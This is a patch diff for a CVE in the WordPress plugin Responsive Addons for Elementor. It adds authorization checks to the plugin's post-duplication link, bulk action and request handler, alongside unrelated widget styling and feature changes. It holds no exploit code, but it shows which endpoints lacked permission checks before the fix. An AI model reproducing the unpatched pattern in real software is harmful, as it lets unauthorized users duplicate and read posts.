CVE-2025-69363: Responsive Addons for Elementor <= 2.0.8 – Missing Authorization (responsive-addons-for-elementor)

--- a/responsive-addons-for-elementor/ext/class-rael-duplicator.php
+++ b/responsive-addons-for-elementor/ext/class-rael-duplicator.php
@@ -83,6 +83,10 @@
 	 */
 	public function rae_get_duplicate_link( $post_id ) {

+		if ( ! $this->rae_user_can_duplicate_post( $post_id ) ) {
+			return '';
+		}
+
 		 $url = wp_nonce_url(
 			admin_url( 'admin.php?action=rael_duplicate_post&post=' . $post_id ),
 			'rael_duplicate_post_' . $post_id
@@ -100,6 +104,9 @@
 	 * Add bulk action
 	 */
 	public function rae_register_bulk_action( $bulk_actions ) {
+		if ( ! current_user_can( 'edit_posts' ) ) {
+			return $bulk_actions;
+		}
 		$bulk_actions['rael_duplicate'] = __( 'Duplicate', 'responsive-addons-for-elementor' );
 		return $bulk_actions;
 	}
@@ -115,6 +122,9 @@
 		}

 		foreach ( $post_ids as $post_id ) {
+			if ( ! $this->rae_user_can_duplicate_post( $post_id ) ) {
+				continue;
+			}
 			$this->rae_duplicate( $post_id );
 		}

@@ -184,6 +194,10 @@
 			wp_die( esc_html__( 'Invalid request.', 'responsive-addons-for-elementor' ) );
 		}

+		if ( ! $this->rae_user_can_duplicate_post( $post_id ) ) {
+			wp_die( esc_html__( 'You are not allowed to duplicate this post.', 'responsive-addons-for-elementor' ) );
+		}
+
 		$new_id = $this->rae_duplicate( $post_id );

 		if ( is_wp_error( $new_id ) ) {
@@ -345,6 +359,32 @@
 		' );
 	}

+	/* Added to Fix vulnerability */
+	private function rae_user_can_duplicate_post( $post_id ) {
+		$post = get_post( $post_id );
+		if ( ! $post ) {
+			return false;
+		}
+
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			return false;
+		}
+
+		if ( current_user_can( 'contributor' ) && ! current_user_can( 'edit_others_posts' ) ) {
+
+			if ( $post->post_status !== 'publish' ) {
+				return false;
+			}
+
+			if ( ! empty( $post->post_password ) ) {
+				return false;
+			}
+		}
+
+		return true;
+	}
+
+

 	}

--- a/responsive-addons-for-elementor/includes/widgets-manager/widgets/class-responsive-addons-for-elementor-image-gallery.php
+++ b/responsive-addons-for-elementor/includes/widgets-manager/widgets/class-responsive-addons-for-elementor-image-gallery.php
@@ -90,6 +90,8 @@
 		return array(
 			'swiper',
 			'e-swiper',
+			'elementor-icons',
+			'elementor-editor'
 		);
 	}
 	/**
@@ -1728,15 +1730,15 @@
 				'options'      => array(
 					'left'   => array(
 						'title' => __( 'Left', 'responsive-addons-for-elementor' ),
-						'icon'  => 'fa fa-align-left',
+						'icon'  => 'eicon-text-align-left',
 					),
 					'center' => array(
 						'title' => __( 'Center', 'responsive-addons-for-elementor' ),
-						'icon'  => 'fa fa-align-center',
+						'icon'  => 'eicon-text-align-center',
 					),
 					'right'  => array(
 						'title' => __( 'Right', 'responsive-addons-for-elementor' ),
-						'icon'  => 'fa fa-align-right',
+						'icon'  => 'eicon-text-align-right',
 					),
 				),
 				'default'      => 'center',
@@ -1882,6 +1884,17 @@
 				),
 			)
 		);
+		$this->add_responsive_control(
+			'rael_filterable_tab__border_radius',
+			array(
+				'label'      => esc_html__( 'Border Radius', 'responsive-addons-for-elementor' ),
+				'type'       => Controls_Manager::DIMENSIONS,
+				'size_units' => array( 'px', 'em', '%' ),
+				'selectors'  => array(
+					'{{WRAPPER}} .rael-masonry-filter' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+				),
+			)
+		);

 		$this->end_controls_tab();

@@ -1899,11 +1912,11 @@
 		$this->add_control(
 			'rael_cat_filter_hover_color',
 			array(
-				'label'     => __( 'Text Active / Hover Color', 'responsive-addons-for-elementor' ),
+				'label'     => __( 'Text Hover Color', 'responsive-addons-for-elementor' ),
 				'type'      => Controls_Manager::COLOR,
 				'default'   => '#ffffff',
 				'selectors' => array(
-					'{{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-masonry-filter:hover, {{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-current' => 'color: {{VALUE}};',
+					'{{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-masonry-filter:hover' => 'color: {{VALUE}};',
 				),
 				'condition' => array(
 					'rael_gallery_style'          => array( 'grid', 'masonry', 'justified' ),
@@ -1915,7 +1928,7 @@
 		$this->add_control(
 			'rael_cat_filter_bg_hover_color',
 			array(
-				'label'     => __( 'Background Active / Hover Color', 'responsive-addons-for-elementor' ),
+				'label'     => __( 'Background Hover Color', 'responsive-addons-for-elementor' ),
 				'type'      => Controls_Manager::COLOR,
 				'global'    => array(
 					'default' => Global_Colors::COLOR_ACCENT,
@@ -1929,22 +1942,97 @@
 				),
 			)
 		);
+		$this->add_group_control(
+			Group_Control_Border::get_type(),
+			array(
+				'name'      => 'cat_filter_border_hover',
+				'label'     => __( 'Border', 'responsive-addons-for-elementor' ),
+				'selector'  => '{{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-masonry-filter:hover, {{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-filters-dropdown-button',
+				'condition' => array(
+					'rael_gallery_style'          => array( 'grid', 'masonry', 'justified' ),
+					'rael_masonry_filters_enable' => 'yes',
+				),
+			)
+		);
+		$this->add_responsive_control(
+			'rael_filterable_tab__border_radius_hover',
+			array(
+				'label'      => esc_html__( 'Border Radius', 'responsive-addons-for-elementor' ),
+				'type'       => Controls_Manager::DIMENSIONS,
+				'size_units' => array( 'px', 'em', '%' ),
+				'selectors'  => array(
+					'{{WRAPPER}} .rael-masonry-filter:hover' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+				),
+			)
+		);
+
+		$this->end_controls_tab();
+
+		//Active Tab
+		$this->start_controls_tab(
+			'rael_cat_filters_active',
+			array(
+				'label'     => __( 'Active', 'responsive-addons-for-elementor' ),
+				'condition' => array(
+					'rael_gallery_style'          => array( 'grid', 'masonry', 'justified' ),
+					'rael_masonry_filters_enable' => 'yes',
+				),
+			)
+		);
+
+		$this->add_control(
+			'rael_cat_filter_active_color',
+			array(
+				'label'     => __( 'Text Active Color', 'responsive-addons-for-elementor' ),
+				'type'      => Controls_Manager::COLOR,
+				'default'   => '#ffffff',
+				'selectors' => array(
+					'{{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-current' => 'color: {{VALUE}};',
+				),
+				'condition' => array(
+					'rael_gallery_style'          => array( 'grid', 'masonry', 'justified' ),
+					'rael_masonry_filters_enable' => 'yes',
+				),
+			)
+		);

 		$this->add_control(
-			'rael_cat_filter_border_hover_color',
+			'rael_cat_filter_bg_active_color',
 			array(
-				'label'     => __( 'Border Hover Color', 'responsive-addons-for-elementor' ),
+				'label'     => __( 'Background Active Color', 'responsive-addons-for-elementor' ),
 				'type'      => Controls_Manager::COLOR,
 				'global'    => array(
 					'default' => Global_Colors::COLOR_ACCENT,
 				),
 				'selectors' => array(
-					'{{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-masonry-filter:hover, {{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-current' => 'border-color: {{VALUE}};',
+					'{{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-current' => 'background-color: {{VALUE}};',
+				),
+				'condition' => array(
+					'rael_gallery_style'          => array( 'grid', 'masonry', 'justified' ),
+					'rael_masonry_filters_enable' => 'yes',
 				),
+			)
+		);
+		$this->add_group_control(
+			Group_Control_Border::get_type(),
+			array(
+				'name'      => 'cat_filter_border_active',
+				'label'     => __( 'Border', 'responsive-addons-for-elementor' ),
+				'selector'  => '{{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-masonry-filter.rael-current, {{WRAPPER}} .rael-gallery-parent .rael-masonry-filters .rael-filters-dropdown-button',
 				'condition' => array(
-					'rael_gallery_style'             => array( 'grid', 'masonry', 'justified' ),
-					'rael_masonry_filters_enable'    => 'yes',
-					'rael_cat_filter_border_border!' => '',
+					'rael_gallery_style'          => array( 'grid', 'masonry', 'justified' ),
+					'rael_masonry_filters_enable' => 'yes',
+				),
+			)
+		);
+		$this->add_responsive_control(
+			'rael_filterable_tab__border_radius_active',
+			array(
+				'label'      => esc_html__( 'Border Radius', 'responsive-addons-for-elementor' ),
+				'type'       => Controls_Manager::DIMENSIONS,
+				'size_units' => array( 'px', 'em', '%' ),
+				'selectors'  => array(
+					'{{WRAPPER}} .rael-masonry-filter.rael-current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
 				),
 			)
 		);
--- a/responsive-addons-for-elementor/includes/widgets-manager/widgets/class-responsive-addons-for-elementor-search-form.php
+++ b/responsive-addons-for-elementor/includes/widgets-manager/widgets/class-responsive-addons-for-elementor-search-form.php
@@ -111,6 +111,21 @@
 				'frontend_available' => true,
 			)
 		);
+		$this->add_control(
+		'rael_minimal_show_icon',
+			array(
+				'label'        => __( 'Show Icon', 'responsive-addons-for-elementor' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => __( 'Show', 'responsive-addons-for-elementor' ),
+				'label_off'    => __( 'Hide', 'responsive-addons-for-elementor' ),
+				'return_value' => 'yes',
+				'default'      => 'yes',
+				'condition' => array(
+					'rael_skin' => 'minimal',
+				),
+			)
+		);
+

 		$this->add_control(
 			'rael_placeholder',
@@ -143,6 +158,7 @@
 				'options'      => array(
 					'icon' => __( 'Icon', 'responsive-addons-for-elementor' ),
 					'text' => __( 'Text', 'responsive-addons-for-elementor' ),
+					'both' => __( 'Both', 'responsive-addons-for-elementor' ),
 				),
 				'prefix_class' => 'rael-elementor-search-form--button-type-',
 				'render_type'  => 'template',
@@ -160,7 +176,7 @@
 				'default'   => __( 'Search', 'responsive-addons-for-elementor' ),
 				'separator' => 'after',
 				'condition' => array(
-					'rael_button_type' => 'text',
+					'rael_button_type' => array( 'text','both' ),
 					'rael_skin'        => 'classic',
 				),
 			)
@@ -169,26 +185,18 @@
 		$this->add_control(
 			'rael_icon',
 			array(
-				'label'        => __( 'Icon', 'responsive-addons-for-elementor' ),
-				'type'         => Controls_Manager::CHOOSE,
-				'default'      => 'search',
-				'options'      => array(
-					'search' => array(
-						'title' => __( 'Search', 'responsive-addons-for-elementor' ),
-						'icon'  => 'eicon-search',
-					),
-					'arrow'  => array(
-						'title' => __( 'Arrow', 'responsive-addons-for-elementor' ),
-						'icon'  => 'eicon-arrow-right',
-					),
+				'label'            => esc_html__( 'Icon', 'responsive-addons-for-elementor' ),
+				'type'             => Controls_Manager::ICONS,
+				'default' => array(
+					'value'   => 'fas fa-search',
+					'library' => 'fa-solid',
 				),
-				'render_type'  => 'template',
-				'prefix_class' => 'rael-elementor-search-form--icon-',
 				'condition'    => array(
-					'rael_button_type' => 'icon',
+					'rael_button_type' => array( 'icon','both' ),
 					'rael_skin'        => 'classic',
 				),
 			)
+
 		);

 		$this->add_control(
@@ -201,7 +209,7 @@
 				),
 				'selectors' => array(
 					'{{WRAPPER}} .rael-elementor-search-form__container' => 'min-height: {{SIZE}}{{UNIT}}',
-					'{{WRAPPER}} .rael-elementor-search-form__submit' => 'min-width: {{SIZE}}{{UNIT}}',
+					'{{WRAPPER}} .rael-elementor-search-form__submit.txt_icon' => 'min-width: {{SIZE}}{{UNIT}}',
 					'body:not(.rtl) {{WRAPPER}} .rael-elementor-search-form__icon' => 'padding-left: calc({{SIZE}}{{UNIT}} / 3)',
 					'body.rtl {{WRAPPER}} .rael-elementor-search-form__icon' => 'padding-right: calc({{SIZE}}{{UNIT}} / 3)',
 					'{{WRAPPER}} .rael-elementor-search-form__input, {{WRAPPER}}.rael-elementor-search-form--button-type-text .rael-elementor-search-form__submit' => 'padding-left: calc({{SIZE}}{{UNIT}} / 3); padding-right: calc({{SIZE}}{{UNIT}} / 3)',
@@ -225,6 +233,21 @@
 		);

 		$this->add_control(
+			'rael_toggle_icon',
+			array(
+				'label'            => esc_html__( 'Icon', 'responsive-addons-for-elementor' ),
+				'type'             => Controls_Manager::ICONS,
+				'condition'    => array(
+					'rael_skin' => 'full_screen',
+				),
+				'default' => array(
+					'value'   => 'fas fa-search',
+					'library' => 'fa-solid',
+				),
+			)
+
+		);
+		$this->add_control(
 			'rael_toggle_align',
 			array(
 				'label'     => __( 'Alignment', 'responsive-addons-for-elementor' ),
@@ -263,6 +286,7 @@
 				),
 				'selectors' => array(
 					'{{WRAPPER}} .rael-elementor-search-form__toggle i' => 'font-size: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}}; height: {{SIZE}}{{UNIT}}',
+					'{{WRAPPER}} .rael-elementor-search-form__toggle svg' => 'font-size: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}}; height: {{SIZE}}{{UNIT}};padding:6px',
 				),
 				'condition' => array(
 					'rael_skin' => 'full_screen',
@@ -293,9 +317,11 @@
 				),
 				'selectors' => array(
 					'{{WRAPPER}} .rael-elementor-search-form__icon' => 'font-size: {{SIZE}}{{UNIT}}',
+					'{{WRAPPER}} .rael-elementor-search-form__submit.txt_icon' => 'font-size: {{SIZE}}{{UNIT}}',
 				),
 				'condition' => array(
 					'rael_skin' => 'minimal',
+					'rael_minimal_show_icon' => 'yes',
 				),
 				'separator' => 'before',
 			)
@@ -664,7 +690,7 @@
 				'label'     => __( 'Color', 'responsive-addons-for-elementor' ),
 				'type'      => Controls_Manager::COLOR,
 				'selectors' => array(
-					'{{WRAPPER}} .rael-elementor-search-form__toggle' => 'color: {{VALUE}}; border-color: {{VALUE}}',
+					'{{WRAPPER}} .rael-elementor-search-form__toggle svg path' => 'fill: {{VALUE}}; border-color: {{VALUE}}',
 				),
 			)
 		);
@@ -675,7 +701,7 @@
 				'label'     => __( 'Background Color', 'responsive-addons-for-elementor' ),
 				'type'      => Controls_Manager::COLOR,
 				'selectors' => array(
-					'{{WRAPPER}} .rael-elementor-search-form__toggle i' => 'background-color: {{VALUE}}',
+					'{{WRAPPER}} .rael-elementor-search-form__toggle svg' => 'background-color: {{VALUE}};padding: 6px;',
 				),
 			)
 		);
@@ -779,32 +805,6 @@
 			)
 		);

-		// Set the selected icon.
-		$icon_class = '';
-		if ( 'icon' === $settings['rael_button_type'] ) {
-			$icon_class = 'search';
-
-			if ( 'arrow' === $settings['rael_icon'] ) {
-				$icon_class = is_rtl() ? 'arrow-left' : 'arrow-right';
-			}
-
-			$this->add_render_attribute(
-				'icon',
-				array(
-					'class' => 'fa fa-' . $icon_class,
-				)
-			);
-		} elseif ( 'text' === $settings['rael_button_type'] && 'full_screen' === $settings['rael_skin'] ) {
-			$icon_class = 'search';
-
-			$this->add_render_attribute(
-				'icon',
-				array(
-					'class' => 'fa fa-' . $icon_class,
-				)
-			);
-		}
-

 		$migration_allowed = Icons_Manager::is_migration_allowed();
 		$icon              = array(
@@ -816,31 +816,52 @@
 			<?php do_action( 'rael_search_form_before_input', $this ); ?>
 			<?php if ( 'full_screen' === $settings['rael_skin'] ) : ?>
 				<div class="rael-elementor-search-form__toggle">
-					<?php if ( ! $migration_allowed || ! Icons_Manager::render_icon( $settings['rael_icon'], array( 'aria-hidden' => 'true' ) ) ) { ?>
-						<i class="fa fas fa-search" aria-hidden="true"></i>
-					<?php } ?>
+						<?php
+						if(!empty($settings['rael_toggle_icon'])){
+							Icons_Manager::render_icon( $settings['rael_toggle_icon'] );
+						} ?>
+
 					<span class="elementor-screen-only"><?php esc_html_e( 'Search', 'responsive-addons-for-elementor' ); ?></span>
 				</div>
 			<?php endif; ?>
 			<div class="rael-elementor-search-form__container">
 				<?php if ( 'minimal' === $settings['rael_skin'] ) : ?>
 					<div class="rael-elementor-search-form__icon">
+						<?php  if( $settings['rael_minimal_show_icon'] == 'yes' ){ ?>
 						<i class="fa fa-search" aria-hidden="true"></i>
+						<?php } ?>
 						<span class="elementor-screen-only"><?php esc_html_e( 'Search', 'responsive-addons-for-elementor' ); ?></span>
 					</div>
 				<?php endif; ?>
 				<input <?php echo wp_kses_post( $this->get_render_attribute_string( 'input' ) ); ?>>
 				<?php do_action( 'rael_search_form_after_input', $this ); ?>
-				<?php if ( 'classic' === $settings['rael_skin'] ) : ?>
-					<button class="rael-elementor-search-form__submit" type="submit" title="<?php esc_attr_e( 'Search', 'responsive-addons-for-elementor' ); ?>" aria-label="<?php esc_attr_e( 'Search', 'responsive-addons-for-elementor' ); ?>">
-						<?php if ( 'icon' === $settings['rael_button_type'] ) : ?>
-							<i <?php echo wp_kses_post( $this->get_render_attribute_string( 'icon' ) ); ?> aria-hidden="true"></i>
-							<span class="elementor-screen-only"><?php esc_html_e( 'Search', 'responsive-addons-for-elementor' ); ?></span>
-						<?php elseif ( ! empty( $settings['rael_button_text'] ) ) : ?>
-							<?php echo wp_kses_post( $settings['rael_button_text'] ); ?>
-						<?php endif; ?>
+				<?php if ( 'classic' === $settings['rael_skin'] ) :
+				if ( in_array( $settings['rael_button_type'], [ 'text', 'icon' ], true )){
+					$btnclass = 'txt_icon';
+				}
+				else{
+					$btnclass = 'both_cls';
+				}
+					?>
+					<button class="rael-elementor-search-form__submit <?php echo $btnclass; ?>" type="submit" title="<?php esc_attr_e( 'Search', 'responsive-addons-for-elementor' ); ?>" aria-label="<?php esc_attr_e( 'Search', 'responsive-addons-for-elementor' ); ?>">
+						<?php
+					// TEXT should show if button_type is "text" OR "both"
+					if ( in_array( $settings['rael_button_type'], [ 'text', 'both' ], true ) && ! empty( $settings['rael_button_text'] ) ) : ?>
+						<span class="rael-button-text"><?php echo wp_kses_post( $settings['rael_button_text'] ); ?></span>
+					<?php endif; ?>
+					<?php endif; ?>
+					<?php // ICON should show if button_type is "icon" OR "both"
+					if ( 'classic' === $settings['rael_skin'] && in_array( $settings['rael_button_type'], [ 'icon', 'both' ], true ) ) : ?>
+						<?php if(!empty($settings['rael_icon'])){
+							Icons_Manager::render_icon( $settings['rael_icon'] );
+							} ?>
+						<span class="elementor-screen-only"><?php esc_html_e( 'Search', 'responsive-addons-for-elementor' ); ?></span>
 					</button>
-				<?php endif; ?>
+
+					<?php endif; ?>
+
+
+
 				<?php if ( 'full_screen' === $settings['rael_skin'] ) : ?>
 					<div class="dialog-lightbox-close-button dialog-close-button">
 						<i class="eicon-close" aria-hidden="true"></i>
@@ -860,53 +881,7 @@
 	 * @since 1.2.0
 	 * @access protected
 	 */
-	protected function content_template() {
-		?>
-		<#
-		var iconClass = 'fa fas fa-search';

-		if ( 'arrow' == settings.rael_icon ) {
-			if ( elementorCommon.config.isRTL ) {
-				iconClass = 'fa fas fa-arrow-left';
-			} else {
-				iconClass = 'fa fas fa-arrow-right';
-			}
-		}
-		#>
-		<form class="rael-elementor-search-form" action="" role="search">
-			<# if ( 'full_screen' == settings.rael_skin ) { #>
-			<div class="rael-elementor-search-form__toggle">
-				<i class="fa fas fa-search" aria-hidden="true"></i>
-				<span class="elementor-screen-only"><?php esc_html_e( 'Search', 'responsive-addons-for-elementor' ); ?></span>
-			</div>
-			<# } #>
-			<div class="rael-elementor-search-form__container">
-				<# if ( 'minimal' == settings.rael_skin ) { #>
-				<div class="rael-elementor-search-form__icon">
-					<i class="fa fas fa-search" aria-hidden="true"></i>
-					<span class="elementor-screen-only"><?php esc_html_e( 'Search', 'responsive-addons-for-elementor' ); ?></span>
-				</div>
-				<# } #>
-				<input type="search"
-						name="s"
-						title="<?php esc_attr_e( 'Search', 'responsive-addons-for-elementor' ); ?>"
-						class="rael-elementor-search-form__input"
-						placeholder="{{ settings.rael_placeholder }}">
-
-				<# if ( 'classic' == settings.rael_skin ) { #>
-				<button class="rael-elementor-search-form__submit" type="submit">
-					<# if ( 'icon' == settings.rael_button_type ) { #>
-					<i class="{{ iconClass }}" aria-hidden="true"></i>
-					<span class="elementor-screen-only"><?php esc_html_e( 'Submit', 'responsive-addons-for-elementor' ); ?></span>
-					<# } else if ( settings.rael_button_text ) { #>
-					{{{ settings.rael_button_text }}}
-					<# } #>
-				</button>
-				<# } #>
-			</div>
-		</form>
-		<?php
-	}

 	/**
 	 * Get Custom help URL
--- a/responsive-addons-for-elementor/includes/widgets-manager/widgets/class-responsive-addons-for-elementor-testimonial-slider.php
+++ b/responsive-addons-for-elementor/includes/widgets-manager/widgets/class-responsive-addons-for-elementor-testimonial-slider.php
@@ -155,6 +155,23 @@
 				'type'  => Controls_Manager::TEXTAREA,
 			)
 		);
+
+
+		$repeater->add_control(
+			'testimonial_rating',
+			array(
+				'label'   => __( 'Testimonial Rating', 'responsive-addons-for-elementor' ),
+				'type'    => Controls_Manager::SELECT,
+				'default' => '5',
+				'options' => array(
+					'1' => '1',
+					'2' => '2',
+					'3' => '3',
+					'4' => '4',
+					'5' => '5',
+				),
+			)
+		);

 		$repeater->add_control(
 			'image',
@@ -194,6 +211,17 @@
 				'separator' => 'after',
 			)
 		);
+		$this->add_control(
+			'enable_rating',
+			array(
+				'label'        => __( 'Enable Rating', 'responsive-addons-for-elementor' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => __( 'Yes', 'responsive-addons-for-elementor' ),
+				'label_off'    => __( 'No', 'responsive-addons-for-elementor' ),
+				'return_value' => 'yes',
+				'default'      => 'yes',
+			)
+		);

 		$this->add_responsive_control(
 			'rael_icon_size',
@@ -345,7 +373,7 @@
 				'render_type'        => 'template',
 				'frontend_available' => true,
 			)
-		);
+		);

 		$this->add_control(
 			'pagination',
@@ -660,7 +688,21 @@
 				'tab'   => Controls_Manager::TAB_STYLE,
 			)
 		);
-
+		$this->add_control(
+			'testimonial_content_background_color',
+			array(
+				'label'     => __( 'Background Color', 'responsive-addons-for-elementor' ),
+				'type'      => Controls_Manager::COLOR,
+				'alpha'     => false,
+				'default' => '#e6e9ec',
+				'selectors' => array(
+					'{{WRAPPER}} .responsive-testimonial__content, {{WRAPPER}} .responsive-testimonial__content:after' => 'background-color: {{VALUE}}',
+				),
+				'condition' => array(
+					'skin' => 'bubble',
+				),
+			)
+		);
 		$this->add_responsive_control(
 			'content_gap',
 			array(
@@ -848,6 +890,16 @@
 				),
 			)
 		);
+		$this->add_responsive_control(
+			'image_margin',
+			array(
+				'label' => __( 'Margin', 'responsive-addons-for-elementor' ),
+				'type'  => Controls_Manager::DIMENSIONS,
+				'selectors' => array(
+					'{{WRAPPER}} .responsive-testimonial__image' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+				),
+			)
+		);

 		$this->add_control(
 			'image_border',
@@ -963,9 +1015,94 @@

 		$this->end_controls_tab();
 		$this->end_controls_tabs();
+
+
+		$this->end_controls_section();
+		$this->start_controls_section(
+			'section_rating_style',
+			[
+				'label' => __( 'Rating', 'responsive-addons-for-elementor' ),
+				'tab'   => Controls_Manager::TAB_STYLE,
+			]
+		);
+
+		$this->add_control(
+			'rating_color',
+			[
+				'label' => __( 'Color', 'responsive-addons-for-elementor' ),
+				'type'  => Controls_Manager::COLOR,
+				'default' => '#ffb400',
+				'selectors' => [
+					'{{WRAPPER}} .rael-rating-stars i' => 'color: {{VALUE}};',
+
+				],
+			]
+		);
+
+		$this->add_responsive_control(
+			'rating_icon_size',
+			[
+				'label' => __( 'Icon Size', 'responsive-addons-for-elementor' ),
+				'type' => Controls_Manager::SLIDER,
+				'range' => [
+					'px' => [
+						'min' => 8,
+						'max' => 60,
+					],
+				],
+				'default' => array('size' => '17', 'unit' => 'px' ),
+				'selectors' => [
+					'{{WRAPPER}} .rael-rating-stars i' => 'font-size: {{SIZE}}{{UNIT}};',
+				],
+			]
+		);
+
+		$this->add_responsive_control(
+			'rating_item_margin_right',
+			[
+				'label' => __( 'Items Margin Right', 'responsive-addons-for-elementor' ),
+				'type'  => Controls_Manager::SLIDER,
+				'range' => [
+					'px' => [
+						'min' => 0,
+						'max' => 40,
+					],
+				],
+				'selectors' => [
+					'{{WRAPPER}} .rael-rating-stars i' => 'margin-right: {{SIZE}}{{UNIT}};',
+				],
+				'default' => [
+					'size' => 5,
+					'unit' => 'px',
+				],
+			]
+		);
+
+		$this->add_responsive_control(
+			'review_padding',
+			[
+				'label' => __( 'Review Padding', 'responsive-addons-for-elementor' ),
+				'type'  => Controls_Manager::DIMENSIONS,
+				'selectors' => [
+					'{{WRAPPER}} .rael-rating-stars' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+				],
+			]
+		);
+
+		$this->add_responsive_control(
+			'review_margin',
+			[
+				'label' => __( 'Review Margin', 'responsive-addons-for-elementor' ),
+				'type'  => Controls_Manager::DIMENSIONS,
+				'selectors' => [
+					'{{WRAPPER}} .rael-rating-stars' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
+				],
+			]
+		);

 		$this->end_controls_section();

+
 		$this->start_controls_section(
 			'section_navigation',
 			array(
@@ -1106,21 +1243,54 @@
 				),
 			)
 		);
-
 		$this->add_control(
+			'pagination_style',
+			array(
+				'label'       => __( 'Choose Dots Style', 'responsive-addons-for-elementor' ),
+				'type'        => Controls_Manager::SELECT,
+				'label_block' => true,
+				'default'     => 'solid_circle',
+				'options'     => array(
+					'solid_circle'    => __( 'Solid Circle', 'responsive-addons-for-elementor' ),
+					'outline_circle'  => __( 'Outlined Circle', 'responsive-addons-for-elementor' ),
+					'bars'  => __( 'Bars', 'responsive-addons-for-elementor' ),
+				),
+				'prefix_class' => 'rael-pagination-style-',
+				'condition' => array(
+					'pagination' => 'bullets',
+				),
+			)
+		);
+
+			$this->add_control(
 			'pagination_size',
 			array(
 				'label'     => __( 'Size', 'responsive-addons-for-elementor' ),
 				'type'      => Controls_Manager::SLIDER,
 				'range'     => array(
 					'px' => array(
-						'max' => 20,
+						'max' => 20,
 					),
 				),
+				'default'   => array(
+					'size' => 13,
+					'unit' => 'px',
+				),
 				'selectors' => array(
-					'{{WRAPPER}} .swiper-pagination-bullet' => 'height: {{SIZE}}{{UNIT}}; width: {{SIZE}}{{UNIT}}',
-					'{{WRAPPER}} .swiper-horizontal .swiper-pagination-progressbar' => 'height: {{SIZE}}{{UNIT}}',
-					'{{WRAPPER}} .swiper-pagination-fraction' => 'font-size: {{SIZE}}{{UNIT}}',
+					'{{WRAPPER}}.rael-pagination-style-solid_circle .swiper-pagination-bullet' =>
+						'height: {{SIZE}}{{UNIT}} !important; width: {{SIZE}}{{UNIT}} !important; border-radius: 50% !important;',
+
+					'{{WRAPPER}}.rael-pagination-style-outline_circle .swiper-pagination-bullet' =>
+						'height: {{SIZE}}{{UNIT}} !important; width: {{SIZE}}{{UNIT}} !important; border-radius: 50% !important;',
+
+					'{{WRAPPER}}.rael-pagination-style-bars .swiper-pagination-bullet' =>
+						'width: {{SIZE}}{{UNIT}} !important; height: 5px !important; border-radius: 10px !important;',
+
+					'{{WRAPPER}} .swiper-horizontal .swiper-pagination-progressbar' =>
+						'height: {{SIZE}}{{UNIT}} !important;',
+
+					'{{WRAPPER}} .swiper-pagination-fraction' =>
+						'font-size: {{SIZE}}{{UNIT}} !important;',
 				),
 				'condition' => array(
 					'pagination!' => '',
@@ -1128,14 +1298,27 @@
 			)
 		);

+
 		$this->add_control(
 			'pagination_color',
 			array(
 				'label'     => __( 'Color', 'responsive-addons-for-elementor' ),
 				'type'      => Controls_Manager::COLOR,
+				'default'   => '#cccccc',
 				'selectors' => array(
 					'{{WRAPPER}} .swiper-pagination-bullet:not(.swiper-pagination-bullet-active), {{WRAPPER}} .swiper-pagination-progressbar' => 'background-color: {{VALUE}}; opacity: 1;',
 					'{{WRAPPER}} .swiper-pagination-fraction' => 'color: {{VALUE}}',
+					/* Solid Circle – inactive bullets */
+					'{{WRAPPER}}.rael-pagination-style-solid_circle .swiper-pagination-bullet:not(.swiper-pagination-bullet-active)' =>
+						'background-color: {{VALUE}}; opacity: 1;',
+
+					/* Outline Circle – inactive bullets */
+					'{{WRAPPER}}.rael-pagination-style-outline_circle .swiper-pagination-bullet:not(.swiper-pagination-bullet-active)' =>
+						'background-color: transparent; border: 2px solid {{VALUE}}; opacity: 1;',
+
+					/* Bars – inactive bars */
+					'{{WRAPPER}}.rael-pagination-style-bars .swiper-pagination-bullet:not(.swiper-pagination-bullet-active)' =>
+						'background-color: {{VALUE}};',
 				),
 				'condition' => array(
 					'pagination!' => '',
@@ -1148,6 +1331,7 @@
 			array(
 				'label'     => __( 'Active Dot Color', 'responsive-addons-for-elementor' ),
 				'type'      => Controls_Manager::COLOR,
+				'default'   => '#000000',
 				'selectors' => array(
 					'{{WRAPPER}} .swiper-pagination-bullet-active' => 'background-color: {{VALUE}}',
 				),
@@ -1410,7 +1594,8 @@
 				</div>
 				<?php if ( 1 < $slides_count ) : ?>
 					<?php if ( $settings['pagination'] ) : ?>
-						<div class="swiper-pagination"></div>
+
+							<div class="swiper-pagination"></div>
 					<?php endif; ?>
 					<?php if ( $settings['show_arrows'] ) : ?>
 						<?php
@@ -1516,6 +1701,27 @@
 					?>
 				</div>
 				<div class="responsive-testimonial__content">
+					<?php
+						if($settings['enable_rating'] == 'yes') {
+							$rating = intval( $slide['testimonial_rating'] );
+
+							echo '<div class="rael-rating-stars">';
+
+							// filled stars
+							for ( $i = 0; $i < $rating; $i++ ) {
+								echo '<i class="fas fa-star"></i>';
+							}
+
+							// outlined stars
+							for ( $i = $rating; $i < 5; $i++ ) {
+								echo '<i class="far fa-star"></i>';
+							}
+
+							echo '</div>';
+						}
+
+					?>
+
 					<div class="responsive-testimonial__text">
